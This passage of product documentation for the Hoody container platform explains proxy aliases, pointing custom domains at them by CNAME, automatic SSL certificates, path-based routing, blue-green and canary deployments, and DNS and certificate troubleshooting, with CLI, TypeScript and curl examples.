Result: `https://myapp.node-us.containers.hoody.icu`

**7. Point custom domain**

```
DNS: api.mycompany.com  CNAME  myapp.node-us.containers.hoody.icu
```

Result: `https://api.mycompany.com` (automatic SSL)

**8. Configure production permissions (JWT auth)**

```bash
curl -X PUT "https://api.hoody.icu/api/v1/containers/890abcdef.../proxy/permissions" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "groups": {
      "customers": {
        "type": "jwt",
        "secret": "production-jwt-secret",
        "sources": ["header:Authorization"]
      }
    },
    "permissions": {
      "customers": { "http": true }
    },
    "default": "deny"
  }'
```

**9. Production is live**

```
Development: https://67e89abc...890abc-exec-1.node-us.containers.hoody.icu (crypto URL)
Staging:     https://staging-myapp.node-us.containers.hoody.icu (IP-restricted)
Production:  https://api.mycompany.com (JWT auth, custom domain)
```

**Same container. Different URLs. Different access policies. Complete control.**

---

## Useful Questions

### Can I use the same alias name on different servers?

Yes! Aliases are server-specific. `my-app` on `node-us` becomes `my-app.node-us.containers.hoody.icu`, while `my-app` on `node-eu` becomes `my-app.node-eu.containers.hoody.icu`. Different full URLs, no conflict.

### What happens if I delete a container that has aliases?

The aliases remain configured but return errors (container not found) until you either delete the aliases or update them to point to a different container. Best practice: delete aliases before deleting containers.

### Can I point multiple aliases to the same container service?

Absolutely. Create multiple aliases with different names, all pointing to the same container_id and program. Useful for versioning (`api-v1`, `api-v2` both pointing to same container initially) or multi-brand domains.

### Do aliases work with proxy permissions?

Yes. When you configure proxy permissions for a container, they apply to BOTH the cryptographic URL and all aliases pointing to that container. One permission configuration protects all entry points.

### Can I create an alias before the container is running?

Yes. You can create aliases for stopped containers. The alias exists, but requests will fail until you start the container. Useful for pre-configuring production URLs before deployment.

### What's the difference between `target_path` and `allow_path_override`?

`target_path` prepends a base path to all requests (e.g., `/api/v1`). `allow_path_override: false` restricts access to ONLY that base path—requests to other paths are blocked. Use `false` to expose only specific API routes while hiding admin endpoints.

### How do I prevent someone from guessing my alias names?

Use complex, unique aliases (`acme-prod-api-v2-us-2025`) instead of generic ones (`api`, `app`). Even better: combine aliases with [proxy permissions](./permissions/) for authentication—then guessing the name doesn't grant access.

### Can I have an alias without specifying program or index?

No. Aliases must target a specific program (http, exec, terminal, etc.) and instance number. This is because one container runs multiple services—the alias needs to know which one to route to.

### Do aliases persist if I snapshot and restore a container?

Aliases are stored separately, not in the container. If you snapshot container A with alias `my-app`, then restore to container B, the alias still points to container A. You must update the alias to point to container B's ID.

### Can I see which custom domains point to my aliases?

The `GET /api/v1/proxy/aliases/{id}` endpoint shows alias configuration, but **not** which custom domains CNAME to it (that's in your DNS provider). Best practice: document your CNAME mappings externally (spreadsheet, wiki, infrastructure-as-code).

---

## Troubleshooting

### Alias Already Exists

**Error:**
```json
{
  "statusCode": 422,
  "error": "Validation Error",
  "message": "Alias is already in use on this server"
}
```

**Solutions:**
1. Choose a different alias name
2. Use a suffix: `my-app-v2`, `my-app-prod`
3. Check existing aliases: `GET /api/v1/proxy/aliases?project_id={id}`

### Alias Not Routing

**Check:**
1. **Enabled status:** `GET /api/v1/proxy/aliases/{id}` → Check `enabled: true`
2. **Container running:** `GET /api/v1/containers/{id}` → Check `status: "running"`
3. **Service running:** Check container's service is actually started
4. **Permissions:** Verify you can access via cryptographic URL first

### DNS Propagation Delay

**When using custom domains:**
- CNAME changes take 5-60 minutes to propagate globally
- Test from multiple locations or wait before troubleshooting
- Use `dig api.mycompany.com` to verify DNS points to alias

---

## Aliases vs Cryptographic URLs

**Both remain active:**

When you create an alias, the original cryptographic URL **still works**:

```
Alias:
https://my-api.node-us.containers.hoody.icu

Original (still works):
https://67e89abc123def456789abcd-890abcdef12345678901cdef-exec-1.node-us.containers.hoody.icu
```

**Both route to the same container service. Same permissions apply.**

**Use case:**
- Share aliases publicly (clean URLs)
- Keep cryptographic URLs for internal tools (unguessable security)

---

## What's Next

**Configure your aliases:**

1. **[Connect a Domain →](./connect-domain/)** - Point your custom domain to an alias
2. **[Set Permissions →](./permissions/)** - Add authentication to protect aliases

**Understanding gained:**
- ✅ Aliases create memorable URLs: `my-app.{serverName}.containers.hoody.icu`
- ✅ Map to specific container programs (http, exec, terminal, etc.)
- ✅ Support path routing and access control
- ✅ Serve as CNAME targets for custom domains
- ✅ Can be temporary (expiration) or permanent

---

> **Cryptographic URLs for development.**  
> **Aliases for production.**  
> **Custom domains for your brand.**  
> **All routing through the same Hoody Proxy on your server.**

**Clean URLs don't change the HTTP power underneath. They just make it memorable.**

---

# Connect a Domain

**Page:** foundation/proxy/connect-domain

[Download Raw Markdown](./foundation/proxy/connect-domain.md)

---

# Connect a Domain

**Use your own domain with Hoody containers.** Point `api.mycompany.com` to your container services and we handle the SSL automatically.

After creating [proxy aliases](./aliases/) for memorable URLs, you can take the final step: **connecting your own custom domain**.

---

## API Endpoints Summary

**Official Technical Reference:**

Custom domains use DNS CNAMEs to proxy aliases (no direct API calls needed for DNS). However, you configure aliases via:

**Alias Management (CNAME Targets):**
- **[POST /api/v1/proxy/aliases](/api/proxy-aliases/)** - Create alias (used as CNAME target)
- **[GET /api/v1/proxy/aliases](/api/proxy-aliases/)** - List your aliases
- **[GET /api/v1/proxy/aliases/\{id\}](/api/proxy-aliases/)** - Get alias details
- **[PATCH /api/v1/proxy/aliases/\{id\}](/api/proxy-aliases/)** - Update alias configuration
- **[DELETE /api/v1/proxy/aliases/\{id\}](/api/proxy-aliases/)** - Delete alias

**SSL & Domains:**
- SSL certificates are provisioned automatically by Hoody when DNS CNAME is detected
- No API calls needed—just point CNAME to your alias URL
- Let's Encrypt certificates auto-renew every 90 days

---

## How It Works

**The complete flow is simple:**

```
1. Create a proxy alias → my-app.node-us.containers.hoody.icu
2. CNAME your domain to the alias → api.mycompany.com → my-app.node-us.containers.hoody.icu
3. SSL certificate automatically provisioned → https://api.mycompany.com (live)
```

**That's it.** No certificate management. No proxy configuration. No server setup. Just a DNS record.

---

## The CNAME Target Pattern

**Your custom domain points to your proxy alias:**

<div style="margin: 1.5rem 0;">

**Step 1: Create the alias** (CNAME target)


  
    ```bash
    # Create alias as CNAME target for your custom domain
    hoody proxy create --container-id $CONTAINER_ID --alias myapp-prod --program http --index 1
    ```
  
  
    ```typescript
    const alias = await client.api.proxyAliases.create({
      container_id: CONTAINER_ID,
      alias: 'myapp-prod',
      program: 'http',
      index: 1
    });
    console.log(alias.data.url);
    // https://myapp-prod.node-us.containers.hoody.icu
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$CONTAINER_ID'",
        "alias": "myapp-prod",
        "program": "http",
        "index": 1
      }'
    ```
  




**Gives you:** `https://myapp-prod.node-us.containers.hoody.icu`

**Step 2: Add CNAME record** at your DNS provider

```
api.mycompany.com  CNAME  myapp-prod.node-us.containers.hoody.icu
```

**Step 3: Automatic SSL**

Hoody detects the CNAME, provisions Let's Encrypt certificate for `api.mycompany.com`, and routes traffic:

```
User requests:
https://api.mycompany.com
  ↓ (DNS CNAME)
https://myapp-prod.node-us.containers.hoody.icu
  ↓ (Hoody Proxy routes)
Container's HTTP service
```

</div>

**Within 5-10 minutes:** Your domain is live with HTTPS.

---

## Complete Setup Guide

### Prerequisites

**You need:**
- A proxy alias (create via `POST /api/v1/proxy/aliases`)
- Access to your domain's DNS settings
- Your server name (e.g., `node-us`, `node-eu`)

### Step-by-Step: Subdomain (Recommended)

**Subdomains are easier and more flexible than root domains.**


  
    
      
        ```bash
        # Create the CNAME target alias
        hoody proxy create --container-id $CONTAINER_ID \
          --alias production-api --program http --index 1 \
          --target-path /api/v1 --allow-path-override
        ```
      
      
        ```typescript
        const alias = await client.api.proxyAliases.create({
          container_id: CONTAINER_ID,
          alias: 'production-api',
          program: 'http',
          index: 1,
          target_path: '/api/v1',
          allow_path_override: true
        });
        ```
      
      
        ```bash
        curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
          -H "Authorization: Bearer $TOKEN" \
          -H "Content-Type: application/json" \
          -d '{
            "container_id": "'$CONTAINER_ID'",
            "alias": "production-api",
            "program": "http",
            "index": 1,
            "target_path": "/api/v1",
            "allow_path_override": true
          }'
        ```
      
    

    

    **Result:** `production-api.node-us.containers.hoody.icu`

    **Verify it works:**
    ```bash
    curl https://production-api.node-us.containers.hoody.icu
    # Should return your service response
    ```
  
  
    **At your DNS provider** (Cloudflare, Route53, Namecheap, etc.):
    
    ```
    Type:  CNAME
    Name:  api
    Value: production-api.node-us.containers.hoody.icu
    TTL:   Auto (or 3600)
    ```
    
    **This creates:**
    ```
    api.mycompany.com → production-api.node-us.containers.hoody.icu
    ```
    
    
    Use a short TTL (like 300 seconds) initially so you can fix mistakes quickly. Increase to 3600+ once stable.
    
  
  
    **DNS propagation takes 5-60 minutes.**
    
    **Check propagation:**
    ```bash
    # See if DNS has updated
    dig api.mycompany.com
    
    # Should show:
    # api.mycompany.com. 300 IN CNAME production-api.node-us.containers.hoody.icu.
    ```
    
    **Or use online tools:**
    - https://www.whatsmydns.net
    - Check from multiple locations globally
  
  
    **Hoody automatically detects your CNAME and provisions SSL.**
    
    **When first request arrives:**
    1. Hoody sees `Host: api.mycompany.com`
    2. Recognizes CNAME to our alias
    3. Requests Let's Encrypt certificate
    4. Certificate issued (30-60 seconds)
    5. HTTPS enabled automatically
    
    **First request may take 30-60 seconds** (certificate issuance).
    
    **After that:** Instant HTTPS, automatic renewal every 90 days.
    
    **Test:**
    ```bash
    curl https://api.mycompany.com
    # Should return your service with valid SSL
    ```
  


**Done.** Your custom domain now routes to your container with automatic HTTPS.



---

## The Power of Path Routing

**This is where Hoody aliases unlock something revolutionary:** You can point your domain to a **specific path** in your container, not just the root.

### Why This Changes Everything

**Traditional hosting:**
```
Your domain points to server root only:
api.mycompany.com → /

Problem: Your API is at /api/v1/, but domain points to /
```

**You'd need:**
- Reverse proxy setup (nginx/Apache configuration)
- URL rewrite rules
- Server restarts
- Complex routing logic
- Configuration file management

**With Hoody:**



Then CNAME your domain:
```
api.mycompany.com  CNAME  myapp-api.node-us.containers.hoody.icu
```

**Result:**
```
User requests:  https://api.mycompany.com/users
Proxy routes:   Container's /api/v1/users

No server config. No reverse proxy. Just the alias setting.
```

### Real-World Use Cases

**Use Case 1: Microservices on One Container**

```bash
# One container serves:
# - Frontend at /
# - API at /api/v1
# - Admin panel at /admin

# Create 3 aliases, each targeting different path
POST /api/v1/proxy/aliases
{ "container_id": "CONTAINER_ID", "alias": "app-frontend", "program": "http", "index": 1, "target_path": "/", "allow_path_override": false }

POST /api/v1/proxy/aliases
{ "container_id": "CONTAINER_ID", "alias": "app-api", "program": "http", "index": 1, "target_path": "/api/v1", "allow_path_override": false }

POST /api/v1/proxy/aliases
{ "container_id": "CONTAINER_ID", "alias": "app-admin", "program": "http", "index": 1, "target_path": "/admin", "allow_path_override": false }

# Point 3 domains to same container
www.mycompany.com    CNAME  app-frontend.node-us.containers.hoody.icu
api.mycompany.com    CNAME  app-api.node-us.containers.hoody.icu
admin.mycompany.com  CNAME  app-admin.node-us.containers.hoody.icu
```

**Routing:**
- `www.mycompany.com/about` → Container's `/about`
- `api.mycompany.com/users` → Container's `/api/v1/users`
- `admin.mycompany.com/dashboard` → Container's `/admin/dashboard`

**One container. Three domains. Three isolated path spaces. Zero nginx.**

**Use Case 2: API Versioning**

```bash
# Container serves both v1 and v2 at different paths:
# /api/v1/*
# /api/v2/*

# Create version-specific aliases
POST /api/v1/proxy/aliases
{ "alias": "api-v1", "target_path": "/api/v1", "allow_path_override": false }

POST /api/v1/proxy/aliases
{ "alias": "api-v2", "target_path": "/api/v2", "allow_path_override": false }

# Point domains
v1.api.mycompany.com  CNAME  api-v1.node-us.containers.hoody.icu
v2.api.mycompany.com  CNAME  api-v2.node-us.containers.hoody.icu
```

**Users call:**
- `v1.api.mycompany.com/endpoint` → `/api/v1/endpoint`
- `v2.api.mycompany.com/endpoint` → `/api/v2/endpoint`

**Same container, both versions live, clean domain structure.**

**Use Case 3: Multi-Tenant SaaS**

```bash
# Container organized by tenant:
# /tenant/acme/*
# /tenant/globex/*
# /tenant/initech/*

# Alias per customer
POST /api/v1/proxy/aliases
{ "alias": "acme", "target_path": "/tenant/acme", "allow_path_override": false }

POST /api/v1/proxy/aliases
{ "alias": "globex", "target_path": "/tenant/globex", "allow_path_override": false }

# Customer domains
acme.myapp.com    CNAME  acme.node-us.containers.hoody.icu
globex.myapp.com  CNAME  globex.node-us.containers.hoody.icu
```

**Each customer gets their own domain, routing to their tenant path. Single container serves all tenants.**

### Why This Is Superior

**Traditional routing (nginx/Apache):**
```nginx
# Write config file
server {
  server_name api.mycompany.com;
  location / {
    proxy_pass http://localhost:3000/api/v1;
    rewrite rules...
    header manipulation...
  }
}

# Test config
nginx -t

# Restart server (downtime risk)
systemctl restart nginx

# Hope production didn't break
```

**Hoody routing (one API call):**


  
    ```bash
    # Create alias with path routing — done, live immediately
    hoody proxy create --container-id $CONTAINER_ID \
      --alias my-api --program http --index 1 --target-path /api/v1
    ```
  
  
    ```typescript
    // One call. Live immediately. No restart.
    await client.api.proxyAliases.create({
      container_id: CONTAINER_ID,
      alias: 'my-api',
      program: 'http',
      index: 1,
      target_path: '/api/v1'
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$CONTAINER_ID'",
        "alias": "my-api",
        "program": "http",
        "target_path": "/api/v1"
      }'
    ```
  




Done. No restart. No downtime. Live immediately.

---

## Root Domain Setup (Advanced)

**Root domains** (like `mycompany.com` without a subdomain) require different configuration because CNAME records aren't allowed at the DNS root by RFC standards.

### Option 1: ALIAS/ANAME Records (Recommended)

**Some DNS providers support ALIAS or ANAME records** (CloudFlare, DNSimple, Route53):

```
Type:  ALIAS (or ANAME)
Name:  @ (or mycompany.com)
Value: production-api.node-us.containers.hoody.icu
```

**This works like CNAME** but is allowed at the root. Check if your DNS provider supports it.

### Option 2: Subdomain Instead

**The easier solution:** Use `www.mycompany.com` or `app.mycompany.com`:

```
Type:  CNAME
Name:  www
Value: production-api.node-us.containers.hoody.icu
```

Then add a redirect from root to subdomain at your DNS provider.


**Root domains are complex.** Unless you specifically need `mycompany.com` (not `www.mycompany.com`), use a subdomain. It's simpler, more flexible, and works with all DNS providers.


---

## Multiple Domains for One Container

**Point multiple domains to the same alias:**

```bash
# 1. Create one alias
POST /api/v1/proxy/aliases
{ "alias": "prod-api", "program": "http" }

# 2. CNAME multiple domains to it
api.mycompany.com       CNAME  prod-api.node-us.containers.hoody.icu
api.mybrand.com         CNAME  prod-api.node-us.containers.hoody.icu
api-v2.oldcompany.com   CNAME  prod-api.node-us.containers.hoody.icu
```

**All three domains route to the same container service.** Hoody provisions SSL for each domain automatically.

**Use cases:**
- Multiple brand domains pointing to same backend
- API versioning (api-v1.com, api-v2.com)
- Regional domains (api.mycompany.eu, api.mycompany.com)

---

## Domain Migration

### Migrating from Another Platform

**Move an existing domain to Hoody with zero downtime:**


  
    ```bash
    # Deploy your app to Hoody container
    # Create alias
    POST /api/v1/proxy/aliases
    { "alias": "myapp-prod", "program": "http" }
    
    # Test via alias URL first
    curl https://myapp-prod.node-us.containers.hoody.icu
    # Verify everything works
    ```
  
  
    ```
    # Add temporary test subdomain
    test.mycompany.com  CNAME  myapp-prod.node-us.containers.hoody.icu
    
    # Verify SSL provisioning works
    curl https://test.mycompany.com
    # Wait for certificate (30-60 seconds first request)
    ```
  
  
    ```
    # When ready, update production CNAME
    api.mycompany.com  CNAME  myapp-prod.node-us.containers.hoody.icu
    
    # Old:
    # api.mycompany.com  A  203.0.113.50 (old server)
    
    # New:
    # api.mycompany.com  CNAME  myapp-prod.node-us.containers.hoody.icu
    ```
  
  
    ```bash
    # Watch DNS propagation
    watch -n 5 "dig api.mycompany.com | grep CNAME"
    
    # Monitor traffic on new container
    # Check logs in container's terminal
    ```
  


**Downtime:** Minimal (DNS TTL period, usually 5 minutes or less)

### Switching Between Containers

**Change which container a domain points to:**

**Option A: Recreate the alias under the same name** (points to different container)

The `container_id` of an existing alias is immutable—`PATCH` only updates `program`, `index`, `target_path`, `allow_path_override`, `expires_at`, `enabled`, and the alias `name`. To repoint to a different container, delete the alias and recreate it with the **same alias name**. The CNAME target is unchanged, so no DNS edit is required.


  
    ```bash
    # Instant switch — delete + recreate under the same alias name
    hoody proxy delete $ALIAS_ID
    hoody proxy create --container-id $NEW_CONTAINER_ID \
      --alias production-api --program http --index 1
    ```
  
  
    ```typescript
    // Instant switch — DNS unchanged, same alias name on the new container
    await client.api.proxyAliases.delete(ALIAS_ID);
    await client.api.proxyAliases.create({
      container_id: NEW_CONTAINER_ID,
      alias: 'production-api',
      program: 'http',
      index: 1
    });
    ```
  
  
    ```bash
    curl -X DELETE "https://api.hoody.icu/api/v1/proxy/aliases/$ALIAS_ID" \
      -H "Authorization: Bearer $TOKEN"

    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"container_id": "'$NEW_CONTAINER_ID'", "alias": "production-api", "program": "http", "index": 1}'
    ```
  




**DNS unchanged.** Reusing the same alias name keeps the CNAME target valid, so the domain starts routing to the new container immediately.

**Option B: Create new alias, update CNAME**


  
    ```bash
    # Create new alias for the new container
    hoody proxy create --container-id $NEW_CONTAINER_ID --alias myapp-v2 --program http --index 1
    ```
  
  
    ```typescript
    await client.api.proxyAliases.create({
      alias: 'myapp-v2',
      container_id: NEW_CONTAINER_ID,
      program: 'http',
      index: 1
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "myapp-v2", "container_id": "'$NEW_CONTAINER_ID'", "program": "http", "index": 1}'
    ```
  




Then update DNS:
```
api.mycompany.com  CNAME  myapp-v2.node-us.containers.hoody.icu
```

**DNS change required.** Propagation delay (5-60 minutes).

**Recommendation:** Use Option A (recreate under the same name) for instant switching.

---

## SSL Certificate Management

### Automatic Provisioning

**Hoody handles SSL completely:**

1. **Detection:** Proxy sees request for your custom domain
2. **Challenge:** Hoody responds to the ACME HTTP-01 challenge automatically
3. **Issuance:** Certificate issued by Let's Encrypt (30-60 seconds). If Let's Encrypt is rate-limited, Hoody automatically falls back to ZeroSSL.
4. **Installation:** Certificate installed and activated
5. **Renewal:** Auto-renewed before expiry

**You never touch certificates.** It's automatic.

### Certificate Details

**What you get:**
- **Certificate Authority:** Let's Encrypt (primary), with automatic fallback to ZeroSSL when Let's Encrypt rate limits are hit
- **Validation Method:** ACME HTTP-01 challenge (automatic)
- **Certificate Type:** Domain Validation (DV)
- **Validity:** 90 days (auto-renews before expiry)
- **Coverage:** Your exact domain (e.g., `api.mycompany.com`)

**HTTPS enforcement:**
- All HTTP requests → Automatic redirect to HTTPS
- HSTS headers included (tells browsers to always use HTTPS)

### Wildcard Certificates

**For wildcard subdomains** (`*.api.mycompany.com`):


Wildcard certificates require DNS-01 challenge validation, which currently requires manual DNS TXT record updates. Contact support if you need wildcard certificate support.


---

## DNS Provider Examples

### Cloudflare

```
Type:  CNAME
Name:  api
Value: myapp-prod.node-us.containers.hoody.icu
Proxy: ⚠️ OFF (DNS only, not proxied through Cloudflare)
TTL:   Auto
```

**Important:** Turn OFF Cloudflare's proxy (orange cloud icon) to ensure traffic reaches Hoody directly.

### AWS Route53

```
Type:  CNAME
Name:  api.mycompany.com
Value: myapp-prod.node-us.containers.hoody.icu
TTL:   300
Routing Policy: Simple
```

### Google Domains

```
Type:  CNAME
Host:  api
Data:  myapp-prod.node-us.containers.hoody.icu
TTL:   1h
```

### Namecheap

```
Type:          CNAME Record
Host:          api
Value:         myapp-prod.node-us.containers.hoody.icu
TTL:           Automatic
```

---

## Multi-Domain Strategies

### Scenario 1: API + Dashboard on Same Container

**One container serving multiple interfaces:**

```bash
# Create two aliases for different paths
POST /api/v1/proxy/aliases
{
  "alias": "api-backend",
  "program": "http",
  "target_path": "/api/v1",
  "allow_path_override": false
}

POST /api/v1/proxy/aliases
{
  "alias": "admin-dashboard",
  "program": "http",
  "target_path": "/admin",
  "allow_path_override": false
}

# CNAME different domains
api.mycompany.com      CNAME  api-backend.node-us.containers.hoody.icu
admin.mycompany.com    CNAME  admin-dashboard.node-us.containers.hoody.icu
```

**Result:**
- `api.mycompany.com` → Container's `/api/v1/*` only
- `admin.mycompany.com` → Container's `/admin/*` only
- Same container, different domain access, isolated paths

### Scenario 2: Multi-Container Application

**Different containers for frontend/backend:**

```bash
# Frontend container alias
POST /api/v1/proxy/aliases
{ "alias": "frontend", "container_id": "FRONTEND_ID", "program": "http" }

# Backend container alias
POST /api/v1/proxy/aliases
{ "alias": "backend", "container_id": "BACKEND_ID", "program": "http" }

# DNS configuration
www.mycompany.com   CNAME  frontend.node-us.containers.hoody.icu
api.mycompany.com   CNAME  backend.node-us.containers.hoody.icu
```

**Each domain routes to a different container.**

### Scenario 3: Geographic Distribution

**Same application, different regions:**

```bash
# US container
POST /api/v1/proxy/aliases
{ "alias": "app-us", "container_id": "US_CONTAINER", "program": "http" }

# EU container  
POST /api/v1/proxy/aliases
{ "alias": "app-eu", "container_id": "EU_CONTAINER", "program": "http" }

# DNS with GeoDNS routing
api.mycompany.com  →  (US users) → app-us.node-us.containers.hoody.icu
api.mycompany.com  →  (EU users) → app-eu.node-eu.containers.hoody.icu
```

**Use your DNS provider's GeoDNS feature** to route users to nearest container.

---

## Deployment Patterns

### Blue-Green Deployment

**Zero-downtime deployments via DNS switching:**

```bash
# Blue (current production)
POST /api/v1/proxy/aliases
{ "alias": "blue", "container_id": "CURRENT_CONTAINER", "program": "http", "index": 1 }

# Deploy to green (new version)
POST /api/v1/projects/{project_id}/containers
{ "name": "green", ... }

# Create green alias
POST /api/v1/proxy/aliases
{ "alias": "green", "container_id": "NEW_CONTAINER", "program": "http", "index": 1 }

# Test green environment
curl https://green.node-us.containers.hoody.icu

# Switch production (update CNAME)
api.mycompany.com  CNAME  green.node-us.containers.hoody.icu
# (was: blue.node-us.containers.hoody.icu)

# After DNS propagation (5-10 min), all traffic on new version

# Keep blue for rollback
# If issues: Revert CNAME back to blue.node-us.containers.hoody.icu
```

### Canary Deployment

**Use DNS weighting** (if your provider supports it):

```
api.mycompany.com  CNAME  stable.node-us.containers.hoody.icu  (Weight: 90%)
api.mycompany.com  CNAME  canary.node-us.containers.hoody.icu  (Weight: 10%)
```

**10% of users get the canary version.** Monitor, then gradually shift weight.

---

## SSL Certificate Verification

### Check Certificate Status

**After CNAME is configured:**

```bash
# Check SSL certificate
openssl s_client -showcerts -connect api.mycompany.com:443 -servername api.mycompany.com

# Should show:
# issuer=C = US, O = Let's Encrypt, CN = R3
# subject=CN = api.mycompany.com
```

**Or via browser:**
1. Visit `https://api.mycompany.com`
2. Click padlock icon
3. View certificate details
4. Verify: Issued by Let's Encrypt, Valid for your domain

### Certificate Renewal

**Completely automatic:**

- Hoody checks certificate expiration daily
- At 60 days remaining (out of 90): renewal triggered
- New certificate issued and installed automatically
- No downtime, no intervention needed

**You'll never think about certificates again.**

---

## Useful Questions

### Do I need to create a proxy alias before connecting my domain?

**Yes, always.** Custom domains point to proxy aliases via CNAME. The workflow: Create alias → Get alias URL → CNAME your domain to alias URL. You cannot CNAME directly to cryptographic container URLs.

### How long does DNS propagation take?

Typically **5-60 minutes** globally. Your DNS provider's TTL setting affects this. A 300-second TTL means changes propagate in ~5 minutes. A 3600-second TTL means ~60 minutes. Use online tools like whatsmydns.net to check global propagation.

### Is SSL automatic for custom domains?

Yes. When Hoody's proxy detects a CNAME pointing to an alias, it automatically requests a Let's Encrypt certificate for your custom domain. The first HTTPS request may take 30-60 seconds (certificate issuance time), then it's instant and auto-renews every 90 days.

### Can I use my root domain (mycompany.com) not just subdomains?

Root domains require ALIAS/ANAME records (not supported by all DNS providers) or A records (which require static IPs). **Recommendation:** Use subdomains (`www.mycompany.com`, `app.mycompany.com`) with CNAME records—simpler, more flexible, works everywhere.

### What happens if my CNAME points to a deleted alias?

The domain will return DNS errors (NXDOMAIN) because the target doesn't exist. Always verify the alias exists before updating DNS, and avoid deleting aliases that have active CNAMEs pointing to them.

### Can multiple custom domains point to the same container?

Yes. Create one alias, then CNAME multiple domains to it. Hoody provisions separate SSL certificates for each domain. Common use case: `www.mycompany.com` and `app.mycompany.com` both pointing to the same HTTP service.

### Do I need to configure anything in the container for custom domains to work?

No container configuration needed. Your application just binds to a port (e.g., 3000) and the proxy handles all routing, SSL, and domain resolution automatically. The app itself doesn't know about domains—it just responds to HTTP requests.

### Can I use Cloudflare's proxy (orange cloud) with Hoody?

**Turn it OFF.** Cloudflare's proxy interferes with Hoody's SSL provisioning and IP preservation. Use DNS-only mode (gray cloud). Your traffic goes: Client → Hoody Proxy → Container, not through Cloudflare's edge network.

### How do I switch a domain from one container to another?

**Option A (instant):** The alias `container_id` is immutable, so delete the alias and recreate it with the **same name** on the new container (`DELETE` then `POST /api/v1/proxy/aliases`)—the CNAME target is unchanged, so no DNS edit is needed. **Option B (slower):** Create a new alias pointing to the new container, then update CNAME to point to the new alias (requires DNS propagation).

### What's the maximum number of custom domains I can connect?

No limit. Each alias can support unlimited CNAMEs (at your DNS provider level). One Hoody alias can have dozens of custom domains pointing to it—each gets automatic SSL and routes to the same container service.

---

## Troubleshooting

### CNAME Not Working

**1. Verify CNAME is correct**

```bash
dig api.mycompany.com

# Should show CNAME record pointing to alias.node-us.containers.hoody.icu
# If showing A record or different CNAME: DNS not updated yet
```

**2. Check alias exists and is enabled**



Verify:
- Alias exists
- enabled: true
- container is running

**3. Test alias URL directly**

```bash
# Bypass custom domain, test alias
curl https://myapp-prod.node-us.containers.hoody.icu

# If this works but custom domain doesn't:
# → DNS propagation still in progress
# → Wait 15-30 more minutes
```

### SSL Certificate Not Provisioning

**Common causes:**

1. **CNAME pointing to wrong target**
   ```bash
   # Wrong: CNAME to cryptographic URL
   api.mycompany.com  CNAME  67e89abc...node-us.containers.hoody.icu ❌
   
   # Correct: CNAME to alias
   api.mycompany.com  CNAME  myapp-prod.node-us.containers.hoody.icu ✅
   ```

2. **DNS not fully propagated**
   - Let's Encrypt validation fails if DNS not worldwide
   - Wait for full propagation (up to 60 minutes)

3. **Cloudflare proxy enabled**
   - Orange cloud icon in Cloudflare = Proxied through CF
   - Must be gray cloud (DNS only) for Hoody SSL

4. **Port 80 blocked**
   - Let's Encrypt uses HTTP-01 challenge on port 80
   - Ensure firewall allows port 80 temporarily

**Check Hoody status:**



Contact support if certificate persistently fails.

5. **ACME rate limits exceeded**
   - Let's Encrypt enforces per-registered-domain rate limits (for example, the duplicate-certificate limit of 5 per week for the same exact set of names)
   - If you've been testing extensively with the same domain, you may hit one of these limits
   - **Built-in mitigation:** When Let's Encrypt is rate-limited, Hoody automatically falls back to ZeroSSL — so a Let's Encrypt limit usually does not block issuance outright
   - **If both providers are exhausted:** Wait for the weekly reset, or use a different subdomain
   - **Prevention:** Use different subdomains for testing (test1.example.com, test2.example.com) instead of repeatedly recreating certificates for the same domain

**Check if you hit rate limits:**
```bash
# Visit Let's Encrypt rate limit checker
# https://crt.sh/?q=%.mycompany.com

# Shows all certificates issued for your domain
# If you see many recent certificates: likely hit the limit
```

**Workaround while waiting:**
- Use a different subdomain temporarily
- Or use the alias URL directly (already has SSL)
- Rate limit resets 7 days after first certificate in the batch

### DNS Propagation Delays

**DNS changes take time:**

| Provider | Typical TTL | Max Wait |
|----------|-------------|----------|
| Cloudflare | 5 minutes | 10 minutes |
| Route53 | 5 minutes | 15 minutes |
| Google Domains | 1 hour | 2 hours |
| Namecheap | 30 minutes | 1 hour |
| GoDaddy | 1 hour | 2 hours |

**Check propagation:**
```bash
# From your machine
dig api.mycompany.com @8.8.8.8

# From different DNS server
dig api.mycompany.com @1.1.1.1

# If different results: Still propagating
```

---

## Best Practices

### 1. Test Before Production

**Always test via alias URL before adding custom domain:**

```bash
# 1. Create alias
POST /api/v1/proxy/aliases
{ "alias": "myapp-test", ... }

# 2. Test thoroughly
curl https://myapp-test.node-us.containers.hoody.icu
# Run full test suite, verify responses

# 3. Add custom domain only when alias works perfectly
api.mycompany.com  CNAME  myapp-test.node-us.containers.hoody.icu
```

### 2. Use Descriptive Aliases

**Alias names should indicate purpose:**

```
✅ production-api
✅ staging-frontend
✅ blue-deployment
✅ myapp-v2

❌ app
❌ test
❌ api
❌ x
```

**Why:** When you have 20 domains, clear aliases prevent confusion.

### 3. Document CNAME Targets

**Track which domain points where:**

```yaml
# domains.yml
domains:
  api.mycompany.com:
    cname_target: production-api.node-us.containers.hoody.icu
    alias_id: 63a3e4b5c6d7e8f9a0b1c2d3
    container_id: 890abcdef12345678901cdef
    
  staging.mycompany.com:
    cname_target: staging-api.node-us.containers.hoody.icu
    alias_id: 74b4f5c6d7e8f9a0b1c2d3e4
    container_id: 901bcdef12345678901cdefa
```

**Prevents:** "Which alias does api.mycompany.com point to again?"

### 4. Set Alerts for Expiration

**If you use expiring aliases:**

```bash
POST /api/v1/proxy/aliases
{
  "alias": "beta-program",
  "expires_at": "2026-08-16T00:00:00.000Z"  # Absolute ISO 8601 timestamp
}
```

**Set calendar reminders** 7 days before expiration if users depend on this URL.

---

## Your Brand, Our Infrastructure

**The power of custom domains:**

```
Your branding:
https://api.acme.com
https://app.techstartup.io
https://platform.saas.com

Hoody infrastructure:
https://prod-acme.node-us.containers.hoody.icu
